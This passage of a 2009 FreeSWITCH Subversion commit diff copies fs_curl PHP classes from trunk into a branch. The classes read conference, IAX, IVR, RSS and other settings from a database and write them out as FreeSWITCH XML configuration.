+        $query = sprintf('%s %s;'
+        , "SELECT * FROM conference_profiles"
+        , "ORDER BY profile_name"
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        while ($row = $res -> fetch(PDO::FETCH_ASSOC)) {
+            $pn = $row['profile_name'];
+            $profiles[$pn][] = $row;
+        }
+        return $profiles;
+    }
+
+    /**
+     * Write XML for <profiles>
+     * This method will write the XML of the array
+     * from get_profiles_array
+     * @return void
+    */
+    private function write_profiles() {
+        $profiles_array = $this -> get_profiles_array();
+        $profiles_count = count($profiles_array);
+        if ($profiles_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('profiles');
+
+        foreach ($profiles_array as $profile_name => $profile_data) {
+            $this -> xmlw -> startElement('profile');
+            $this -> xmlw -> writeAttribute('name', $profile_name);
+            foreach ($profile_data as $params) {
+                //$this -> comment_array($profiles_array[$i]);
+                $this -> xmlw -> startElement('param');
+                $this -> xmlw -> writeAttribute('name', $params['param_name']);
+                $this -> xmlw -> writeAttribute('value', $params['param_value']);
+                $this -> xmlw -> endElement();//</param>
+
+            }
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Pull caller-controls from database via PDO
+     * This method will pull the conference caller-controls from
+     * the database using the PDO extension
+     * @return array
+    */
+    private function get_controls_array() {
+        $query = sprintf(
+        "SELECT * FROM conference_controls ORDER BY conf_group"
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        while ($row = $res -> fetch(PDO::FETCH_ASSOC)) {
+            $cg = $row['conf_group'];
+            $profiles[$cg][] = $row;
+        }
+        return $profiles;
+    }
+
+    /**
+     * Write XML for <caller-controls>
+     * This method will write the XML of the array
+     * from get_controls_array
+     * @return void
+    */
+    private function write_controls() {
+        $controls_array = $this -> get_controls_array();
+        $controls_count = count($controls_array);
+        if (FS_PDO::isError($controls_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($controls_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('caller-controls');
+
+        foreach ($controls_array as $group_name => $control_data) {
+            $this -> xmlw -> startElement('group');
+            $this -> xmlw -> writeAttribute('name', $group_name);
+            foreach ($control_data as $controls) {
+
+                //$this -> comment_array($controls_array[$i]);
+                $this -> xmlw -> startElement('control');
+                $this -> xmlw -> writeAttribute('action', $controls['action']);
+                $this -> xmlw -> writeAttribute('digits', $controls['digits']);
+                $this -> xmlw -> endElement();
+
+            }
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/console.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/console.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/console.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/console.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/console.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * console.conf.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * @todo make this configurable via db rather than hardcoded.
+ * File containing the base class for all curl XML output
+*/
+class console_conf extends fs_configuration {
+    function console_conf() {
+        $this -> fs_configuration();
+    }
+
+    /**
+     * Currently this method does pretty much everything
+     */
+    function main() {
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'Console configuration');
+
+        $this -> xmlw -> startElement('mappings');
+	
+	$this -> xmlw -> startElement('map');
+        $this -> xmlw -> writeAttribute('name', 'all');
+        $this -> xmlw -> writeAttribute('value', 'notice,warning,error,crit,alert,info,debug');
+	$this -> xmlw -> endElement();
+
+        $this -> xmlw -> endElement();
+
+
+
+
+        $this -> xmlw -> startElement('settings');
+
+	$this -> xmlw -> startElement('param');
+        $this -> xmlw -> writeAttribute('name', 'colorize');
+        $this -> xmlw -> writeAttribute('value', 'true');
+	$this -> xmlw -> endElement();
+
+	$this -> xmlw -> startElement('param');
+        $this -> xmlw -> writeAttribute('name', 'loglevel');
+        $this -> xmlw -> writeAttribute('value', 'debug');
+	$this -> xmlw -> endElement();
+
+	$this -> xmlw -> endElement();
+
+
+
+
+        $this -> xmlw -> endElement();
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/dingaling.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/dingaling.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/dingaling.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/dingaling.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/dingaling.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * dingaling.conf.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Write XML for dingaling.conf
+*/
+class dingaling_conf extends fs_configuration {
+    /**
+     * Initializer method
+     * This method calls fs_configuration to initialize all of the
+     * objects and variables that we want to inherit
+     * @return void
+    */
+    public function dingaling_conf() {
+        $this -> fs_configuration();
+    }
+
+    /**
+     * Main sub-routine
+     * This method will call all of the other methods necessary
+     * to write out the XML for the dingaling.conf
+     * @return void
+    */
+    public function main() {
+        $this -> write_settings();
+        $this -> write_profiles();
+    }
+
+    /**
+     * Pull dingaling profiles from the database
+     * @return array
+    */
+    private function get_params_array() {
+        $query = sprintf('%s %s;'
+        , "SELECT * FROM dingaling_profile_params"
+        , "ORDER BY dingaling_id"
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        while ($row = $res -> fetchRow()) {
+            $id = $row['dingaling_id'];
+            $profiles[$id][] = $row;
+        }
+        return $profiles;
+    }
+
+    /**
+     * get dingaling profile names, types, and ids
+     * @return array
+     */
+    private function get_profile_array() {
+        $query = sprintf('SELECT * FROM dingaling_profiles');
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        while ($row = $res -> fetchRow()) {
+            $id = $row['id'];
+            $profiles[$id] = $row['type'];
+        }
+        return $profiles;
+    }
+
+
+    /**
+     * Write XML for <profile>s
+     * This method will write the XML of the array
+     * from get_profiles_array
+     * @return void
+    */
+    private function write_profiles() {
+        $profile_array = $this -> get_profile_array();
+        $params_array = $this -> get_params_array();
+        $params_count = count($params_array);
+        if ($params_count < 1) {
+            return ;
+        }
+        while (list($id, $type) = each($profile_array)) {
+            $this -> xmlw -> startElement('profile');
+            $this -> xmlw -> writeAttribute('type', $type);
+            if (!empty($params_array[$id])) {
+                $this_param_count = count($params_array[$id]);
+                for ($i=0; $i<$this_param_count; $i++) {
+                    $this -> xmlw -> startElement('param');
+                    $this -> xmlw -> writeAttribute(
+                    'name', $params_array[$id][$i]['param_name']
+                    );
+                    $this -> xmlw -> writeAttribute(
+                    'value', $params_array[$id][$i]['param_value']
+                    );
+                    $this -> xmlw -> endElement();//</param>
+                }
+                $this -> xmlw -> endElement();
+            }
+        }
+    }
+
+
+    /**
+     * Write out the XML for the dingaling <settings>
+     *@return void
+     */
+    private function write_settings() {
+        $query = sprintf('SELECT * FROM dingaling_settings');
+        $res = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            $this -> file_not_found();
+        }
+        $setting_count = count($res);
+        if ($setting_count > 0) {
+            $this -> xmlw -> startElement('settings');
+            for ($i=0; $i<$setting_count; $i++) {
+                $this -> xmlw -> startElement('param');
+                $this -> xmlw -> writeAttribute('name', $res[$i]['param_name']);
+                $this -> xmlw -> writeAttribute('value', $res[$i]['param_value']);
+                $this -> xmlw -> endElement();
+            }
+            $this -> xmlw -> endElement();
+        }
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/iax.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/iax.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/iax.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/iax.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/iax.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,172 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ * iax.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * @todo add gateways, aliases, etc when support is added into FS
+ * Class to write XML for iax.conf
+*/
+class iax_conf extends fs_configuration {
+    public function iax_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $profiles = $this -> get_profiles();
+        $this -> write_config($profiles);
+    }
+
+    private function get_profiles() {
+        $query = "SELECT * FROM iax_conf ORDER BY id LIMIT 1";
+        $profiles = $this -> db -> queryAll($query);
+        return $profiles;
+    }
+
+    private function write_aliases($profile_id) {
+        $query = "SELECT * FROM iax_aliases WHERE iax_id=$profile_id ";
+        $aliases_array = $this -> db -> queryAll($query);
+        $aliases_count = count($aliases_array);
+        if (FS_PDO::isError($aliases_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($aliases_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('aliases');
+
+        for ($i=0; $i<$aliases_count; $i++) {
+            //$this -> comment_array($aliases_array[$i]);
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $aliases_array[$i]['alias_name']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    private function write_settings($profile_id) {
+        $query = "SELECT * FROM iax_settings WHERE iax_id=$profile_id "
+        . "ORDER BY iax_id, param_name";
+        $settings_array = $this -> db -> queryAll($query);
+        $settings_count = count($settings_array);
+        if (FS_PDO::isError($settings_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($settings_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('settings');
+
+        for ($i=0; $i<$settings_count; $i++) {
+            //$this -> comment_array($settings_array[$i]);
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $settings_array[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $settings_array[$i]['param_value']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    private function write_gateways($profile_id) {
+        $query = "SELECT * FROM iax_gateways WHERE iax_id=$profile_id "
+        . "ORDER BY gateway_name, gateway_param";
+        $gateway_array = $this -> db -> queryAll($query);
+        $gateway_count = count($gateway_array);
+        //$this -> comment_array($gateway_array);
+        if (MDB2::isError($gateway_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($gateway_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('gateways');
+        for ($i=0; $i<$gateway_count; $i++) {
+            $this_gateway = $gateway_array[$i]['gateway_name'];
+            if ($this_gateway != $gateway_array[$i-1]['gateway_name']) {
+                $this -> xmlw -> startElement('gateway');
+                $this -> xmlw -> writeAttribute('name', $this_gateway);
+            }
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $gateway_array[$i]['gateway_param']);
+            $this -> xmlw -> writeAttribute('value', $gateway_array[$i]['gateway_value']);
+            $this -> xmlw -> endElement();
+            if (!array_key_exists($i+1, $gateway_array)
+            || $this_gateway != $gateway_array[$i+1]['gateway_name']) {
+                $this -> xmlw -> endElement();
+            }
+            $last_gateway = $this_gateway;
+        }
+        $this -> xmlw -> endElement(); //</gateways>
+    }
+
+    private function write_domains($profile_id) {
+        $query = "SELECT * FROM iax_domains WHERE iax_id=$profile_id";
+        $domain_array = $this -> db -> queryAll($query);
+        $domain_count = count($domain_array);
+        if (FS_PDO::isError($domain_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($domain_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('domains');
+        for ($i=0; $i<$domain_count; $i++) {
+            $this -> xmlw -> startElement('domain');
+            $this -> xmlw -> writeAttribute('name', $domain_array[$i]['domain_name']);
+            $this -> xmlw -> writeAttribute(
+            'parse', ($domain_array[$i]['parse'] == 1 ? 'true' : 'false')
+            );
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+    private function write_single_profile($profile) {
+        /*  //reserved for multi-profile
+        $this -> xmlw -> startElement('profile');
+        $this -> xmlw -> writeAttribute('name', $profile['profile_name']);
+        */
+        //$this -> write_aliases($profile['id']);
+        //$this -> write_domains($profile['id']);
+        //$this -> write_gateways($profile['id']);
+        $this -> write_settings($profile['id']);
+        //$this -> xmlw -> endElement(); //reserved for multi-profile
+    }
+
+    /**
+     * Write XML for iax.conf profiles
+     *
+     * @param unknown_type $profiles
+     */
+    private function write_config($profiles) {
+        $profile_count = count($profiles);
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'IAX Endpoint');
+        /*
+        $this -> xmlw -> startElement('profiles');
+        //we'll add this back if ever multiple iax profiles are supported
+        */
+        for ($i=0; $i<$profile_count; $i++) {
+            $this -> write_single_profile($profiles[$i]);
+        }
+        //$this -> xmlw -> endElement(); //this too
+        $this -> xmlw -> endElement();
+    }
+}
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/ivr.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/ivr.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/ivr.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/ivr.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/ivr.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * ivr.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Write XML for ivr.conf
+*/
+class ivr_conf extends fs_configuration {
+    public function ivr_conf() {
+        $this -> fs_configuration();
+    }
+
+    /**
+     * This method will run all of the methods necessary to return
+     * the XML for the ivr.conf
+     * @return void
+    */
+    public function main() {
+        $ivrs = $this -> get_ivr_array();
+        $this -> write_config($ivrs);
+    }
+
+    /**
+     * This method will fetch all of the ivr menus from the database
+     * using the MDB2 pear class
+     * @return array
+    */
+    private function get_ivr_array() {
+        $query = "SELECT * FROM ivr_conf";
+        $menus = $this -> db -> queryAll($query);
+        return $menus;
+    }
+
+    /**
+     * This method will write all of the entry elements with
+     * their corresponding attributes
+     * @return void
+     */
+    private function write_entries($ivr_id) {
+        $query = sprintf(
+        "SELECT * FROM ivr_entries WHERE ivr_id=$ivr_id ORDER BY digits"
+        );
+        $entries_array = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($entries_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        $entries_count = count($entries_array);
+        if ($entries_count < 1) {
+            return ;
+        }
+        $entries_count = count($entries_array);
+        for ($i=0; $i<$entries_count; $i++) {
+            //$this -> comment_array($entries_array[$i]);
+            $this -> xmlw -> startElement('entry');
+            $this -> xmlw -> writeAttribute('action', $entries_array[$i]['action']);
+            $this -> xmlw -> writeAttribute('digits', $entries_array[$i]['digits']);
+            if (!empty($entries_array[$i]['params'])) {
+                $this -> xmlw -> writeAttribute('params', $entries_array[$i]['params']);
+            }
+            $this -> xmlw -> endElement();//</param>
+        }
+    }
+
+    /**
+     * This method will evaluate the data from the db and
+     * write attributes that need written
+     * @return void
+    */
+    private function write_menu_attributes($menu_data) {
+        $this -> xmlw -> writeAttribute('name', $menu_data['name']);
+        $this -> xmlw -> writeAttribute('greet-long', $menu_data['greet_long']);
+        $this -> xmlw -> writeAttribute('greet-short', $menu_data['greet_short']);
+        $this -> xmlw -> writeAttribute('invalid-sound', $menu_data['invalid_sound']);
+        $this -> xmlw -> writeAttribute('exit-sound', $menu_data['exit_sound']);
+        $this -> xmlw -> writeAttribute('timeout', $menu_data['timeout']);
+        $this -> xmlw -> writeAttribute('max-failures', $menu_data['max_failures']);
+        if (!empty($menu_data['tts_engine'])) {
+            $this -> xmlw -> writeAttribute('tts-engine', $menu_data['tts_engine']);
+        }
+        if (!empty($menu_data['tts_voice'])) {
+            $this -> xmlw -> writeAttribute('tts-voice', $menu_data['tts_voice']);
+        }
+        //$this -> xmlw -> writeAttribute('', $menu_data['']);
+    }
+
+    /**
+     * This method will do the writing of the "menu" elements
+     * and call the write_entries method to do the writing of
+     * individual menu's "entry" elements
+     * @return void
+    */
+    private function write_config($menus) {
+        $menu_count = count($menus);
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'Sofia SIP Endpoint');
+        $this -> xmlw -> startElement('menus');
+        for ($i=0; $i<$menu_count; $i++) {
+            $this -> xmlw -> startElement('menu');
+            $this -> write_menu_attributes($menus[$i]);
+            $this -> write_entries($menus[$i]['id']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/limit.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/limit.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/limit.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/limit.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/limit.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * limit.conf.php
+ */
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Write XML for limit.conf
+*/
+class limit_conf extends fs_configuration {
+
+    public function limit_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $params = $this -> get_params_array($this -> db);
+        $this -> write_params_array($params);
+        $this -> output_xml();
+
+    }
+
+    /**
+     * Pull limit params from the db
+     * @return array
+     */
+    private function get_params_array() {
+        $query = sprintf('SELECT * FROM limit_conf;');
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        $this -> comment($res -> numRows() . 'rows');
+        if ($res -> numRows() == 0) {
+            return array();
+        }
+        while ($row = $res -> fetchRow(MDB2_FETCHMODE_ASSOC)) {
+            $feeds_array[] = $row;
+        }
+        return $feeds_array;
+    }
+
+    /**
+     * Write out the XML of params retreived from get_params_array
+     * @see get_params_array
+     * @param unknown_type $params
+     */
+    private function write_params_array($params) {
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'Call Limiter');
+        $this -> xmlw -> startElement('settings');
+
+        $param_count = count($params);
+        for ($i=0; $i<$param_count; $i++) {
+            $this -> comment("$param_count/$i");
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $params[$i]['name']);
+            $this -> xmlw -> writeAttribute('value', $params[$i]['value']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/local_stream.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/local_stream.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/local_stream.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/local_stream.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/local_stream.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * local_stream.conf.php
+ */
+
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class to write the XML for local_stream.conf
+ */
+class local_stream_conf extends fs_configuration {
+
+    public function local_stream_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $directories = $this -> get_directories();
+        $this -> write_directories($directories);
+    }
+
+    private function write_settings($profile_id) {
+        $query = sprintf('%s %s %s;'
+        , "SELECT * FROM local_stream_settings "
+        , "WHERE stream_id=$profile_id "
+        , "ORDER BY stream_id, param_name"
+        );
+        $settings_array = $this -> db -> queryAll($query);
+        $settings_count = count($settings_array);
+        if (FS_PDO::isError($settings_array)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        if ($settings_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('settings');
+
+        for ($i=0; $i<$settings_count; $i++) {
+            $this -> xmlw -> startElement('param');
+            $this -> xmlw -> writeAttribute('name', $settings_array[$i]['param_name']);
+            $this -> xmlw -> writeAttribute('value', $settings_array[$i]['param_value']);
+            $this -> xmlw -> endElement();//</param>
+        }
+        $this -> write_email($profile_id);
+        $this -> xmlw -> endElement();
+    }
+
+    private function get_directories() {
+        $query = sprintf('SELECT * FROM local_stream_conf;');
+        $profiles = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($profiles)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        return $profiles;
+    }
+
+    private function write_directories($directories) {
+        $directory_count = count($directories);
+        for ($i=0; $i<$directory_count; $i++) {
+            $this -> write_settings($directories[$i]);
+        }
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/post_load_modules.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/post_load_modules.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/post_load_modules.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/post_load_modules.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/post_load_modules.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,77 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * post_load_modules.conf.php
+ */
+
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class to write the post_load_modules.conf XML for FreeSWITCH
+*/
+class post_load_modules_conf extends fs_configuration {
+
+    public function post_load_modules_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $params = $this -> get_modules_array($this -> db);
+        $this -> write_modules_array($params);
+        $this -> output_xml();
+
+    }
+
+    /**
+     * This method will pull the postloaded modules from the database
+     * @return array
+     */
+    function get_modules_array() {
+        $query = sprintf(
+        'SELECT * FROM post_load_modules_conf WHERE load_module=1 ORDER BY priority;'
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            $this -> comment($query);
+            $this -> comment($res -> getMessage());
+            return array();
+        }
+        $this -> comment($res -> numRows() . 'rows');
+        if ($res -> numRows() == 0) {
+            return array();
+        }
+        while ($row = $res -> fetchRow()) {
+            $feeds_array[] = $row;
+        }
+        return $feeds_array;
+    }
+
+    /**
+     * This method will write the XML from the array returned by get_modules_array
+     * @see post_load_modules_conf::get_modules_array
+     * @param array $params array of modules to load
+     */
+    function write_modules_array($params) {
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute(
+        'description', 'Load All External Modules'
+        );
+        $this -> xmlw -> startElement('modules');
+
+        $param_count = count($params);
+        for ($i=0; $i<$param_count; $i++) {
+            $this -> xmlw -> startElement('load');
+            $this -> xmlw -> writeAttribute('module', $params[$i]['module_name']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+        $this -> xmlw -> endElement();
+    }
+
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/rss.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/rss.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/rss.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/rss.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/rss.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Directory
+ *
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * class to write XML for rss.conf
+*/
+class rss_conf extends fs_configuration {
+
+    function rss_conf() {
+        $this -> fs_configuration();
+    }
+
+    function main() {
+        $feeds_array = $this -> get_feeds_array();
+        $this -> xmlw -> startElement('feeds');
+        $this -> xmlw -> endElement();
+        $this -> write_xml($feeds_array);
+    }
+
+    /**
+     * Get RSS feed info from DB
+     *
+     * @return array
+     */
+    function get_feeds_array() {
+        $query = sprintf(
+        'SELECT * FROM rss_conf ORDER BY priority, local_file;'
+        );
+        $res = $this -> db -> query($query);
+        if (FS_PDO::isError($res)) {
+            return false;
+        }
+        while ($row = $res -> fetchRow()) {
+            $feeds_array[] = $row;
+        }
+        return $feeds_array;
+    }
+
+    /**
+     * Write XML for RSS feeds that were pulled by get_feeds_arrray
+     * @see get_feeds_array
+     * @param unknown_type $feeds_in
+     */
+    function write_xml($feeds_in) {
+        $this -> xmlw -> startElement('configuration');
+        $this -> xmlw -> writeAttribute('name', basename(__FILE__, '.php'));
+        $this -> xmlw -> writeAttribute('description', 'RSS Parser');
+        $this -> xmlw -> startElement('feeds');
+        $feed_count = count($feeds_in);
+        for ($i=0; $i<$feed_count; $i++) {
+            $this -> xmlw -> startElement('feed');
+            $this -> xmlw -> writeAttribute(
+            'name', $feeds_in[$i]['description']
+            );
+            $this -> xmlw -> text($feeds_in[$i]['local_file']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+}
+
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/sofia.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/sofia.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/sofia.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/sofia.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/sofia.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,196 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * sofia.conf.php
+ */
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Write XML for sofia.conf
+*/
+class sofia_conf extends fs_configuration {
+    public function sofia_conf() {
+        $this -> fs_configuration();
+    }
+
